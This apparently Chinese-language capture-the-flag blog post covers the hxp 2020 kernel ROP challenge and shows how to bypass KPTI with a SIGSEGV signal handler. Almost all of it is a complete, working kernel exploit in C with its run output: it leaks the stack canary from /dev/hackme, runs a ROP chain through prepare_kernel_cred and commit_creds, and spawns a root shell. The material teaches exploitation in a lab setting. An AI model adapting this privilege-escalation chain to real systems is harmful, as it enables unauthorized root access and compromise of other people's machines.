0004-TIPS-2020-hxp-kernel-rop : bypass-KPTI-with-signal_handler

在bypass-KPTI-with-trampoline中,在启用KPTI的环境中,使用仅绕过smep的exp,会提示段错误

/ $ ./04_exploit_bypass_smep
[+] successfully opened /dev/hackme
[*] trying to leak up to 320 bytes memory
[+] found stack canary: 0x7ae17b2ee0e55b00 @ index 16
[*] saving user land state
[*] trying to overwrite return address with ROP chain
Segmentation fault
/ $

解决方案:可以在用户态注册 signal handler 来捕获段错误,并执行位于用户态的代码,规避掉对页表切换到处理

void register_sigsegv() {
    puts("[*] registering default action upon encountering a SIGSEGV");
    sigact.sa_handler = spawn_shell;    // 信号处理函数
    sigemptyset(&sigact.sa_mask);
    sigact.sa_flags = 0;
    sigaction(SIGSEGV, &sigact, (struct sigaction*) NULL);  // 注册 SIGSEGV 信号,段错误
}


int main(int argc, char **argv) {
    register_sigsegv();	// 注册信号处理函数
    open_dev();
    leak_cookie();
    save_userland_state();
    overwrite_ret();

    return 0;
}

执行结果

/ $ ./05_exploit_bypass_kpti_with_signal_handler
[*] registering default action upon encountering a SIGSEGV
[+] successfully opened /dev/hackme
[*] trying to leak up to 320 bytes memory
[+] found stack canary: 0xdfb1221f9c81c000 @ index 16
[*] saving user land state
[*] trying to overwrite return address with ROP chain
[+] returned to user land
[*] receiving and handling SIGSEGV
[+] got root (uid = 0)
[*] spawning shell
/ #

完整exp

#include 
#include 
#include 
#include 
#include 
#include 

struct sigaction sigact;
char *VULN_DRV = "/dev/hackme";
void spawn_shell();

int64_t global_fd = 0;
uint64_t cookie = 0;
uint8_t cookie_off = 16;

uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t)spawn_shell;
uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
uint64_t commit_creds = 0xffffffff814c6410;
uint64_t pop_rdi_ret = 0xffffffff815f88ec;
uint64_t mov_rdi_rax_clobber_rsi140_pop1_ret = 0xffffffff816bf203;
uint64_t swapgs_pop1_ret = 0xffffffff8146d4e4;
uint64_t iretq = 0xffffffff819c68f6;


void open_dev() {
    global_fd = open(VULN_DRV, O_RDWR);
    if (global_fd < 0) {
        printf("[!] failed to open %s\n", VULN_DRV);
        exit(-1);
    } else {
        printf("[+] successfully opened %s\n", VULN_DRV);
    }
}


void leak_cookie() {
    uint8_t sz = 40;
    uint64_t leak[sz];
    printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
    uint64_t data = read(global_fd, leak, sizeof(leak));
    cookie = leak[cookie_off];
    printf("[+] found stack canary: 0x%lx @ index %d\n", cookie, cookie_off);
    if(!cookie) {
        puts("[-] failed to leak stack canary!");
        exit(-1);
    }
}


void spawn_shell() {
    puts("[+] returned to user land");
    puts("[*] receiving and handling SIGSEGV");
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] got root (uid = %d)\n", uid);
    } else {
        printf("[!] failed to get root (uid: %d)\n", uid);
        exit(-1);
    }
    puts("[*] spawning shell");
    system("/bin/sh");
    exit(0);
}


void save_userland_state() {
    puts("[*] saving user land state");
    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax");
}


void overwrite_ret() {
    puts("[*] trying to overwrite return address with ROP chain");
    uint8_t sz = 50;
    uint64_t payload[sz];

    payload[cookie_off++] = cookie;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = pop_rdi_ret; // return address
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = prepare_kernel_cred;
    payload[cookie_off++] = mov_rdi_rax_clobber_rsi140_pop1_ret;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = commit_creds;
    payload[cookie_off++] = swapgs_pop1_ret;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = iretq;
    payload[cookie_off++] = user_rip;
    payload[cookie_off++] = user_cs;
    payload[cookie_off++] = user_rflags;
    payload[cookie_off++] = user_sp;
    payload[cookie_off++] = user_ss;

    uint64_t data = write(global_fd, payload, sizeof(payload));

    puts("[-] if you can read this we failed the mission :(");
}


void register_sigsegv() {
    puts("[*] registering default action upon encountering a SIGSEGV");
    sigact.sa_handler = spawn_shell;    // 信号处理函数
    sigemptyset(&sigact.sa_mask);
    sigact.sa_flags = 0;
    sigaction(SIGSEGV, &sigact, (struct sigaction*) NULL);  // 注册 SIGSEGV 信号,段错误
}


int main(int argc, char **argv) {
    register_sigsegv();
    open_dev();
    leak_cookie();
    save_userland_state();
    overwrite_ret();

    return 0;
}

你可能感兴趣的:(pwn_cve_kernel,kernel,pwn)